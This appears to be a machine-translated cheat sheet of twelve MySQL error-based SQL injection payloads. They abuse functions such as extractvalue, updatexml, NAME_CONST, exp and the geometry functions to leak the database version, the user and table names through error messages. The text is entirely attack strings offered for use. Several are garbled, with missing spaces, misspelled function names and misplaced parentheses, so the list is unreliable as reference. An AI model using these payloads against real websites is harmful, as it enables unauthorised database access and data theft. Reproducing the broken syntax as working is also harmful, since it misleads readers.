12 functions and SQL injection statements for SQL error injection

Transferred invasion and deletion

1, through floor error, injection statement as follows:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2, through Extractvalue error, injection statement as follows:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3, through Updatexml error, injection statement as follows:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4, through NAME_CONST error, injection statement as follows:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5, through the join error, injection statement as follows:

select * from(select * from mysql.user ajoin mysql.user b)c;

6, through EXP error, injection statement as follows:

and exp(~(select * from (select user () ) a) );

7, through GeometryCollection () error, injection statement as follows:

and GeometryCollection(()select *from(select user () )a)b );

8, through Polygon () error, injection statement as follows:

and polygon (()select * from(select user ())a)b );

9, through multipoint () error, injection statement as follows:

and multipoint (()select * from(select user() )a)b );

10, through multlinestring () error, injection statement as follows:

and multlinestring (()select * from(selectuser () )a)b );

11, through Multpolygon () error, injection statement as follows:

and multpolygon (()select * from(selectuser () )a)b );

12, through Linestring () error, injection statement as follows:

and linestring (()select * from(select user() )a)b );

Join Error Injection

12 functions and SQL injection statements for SQL error injection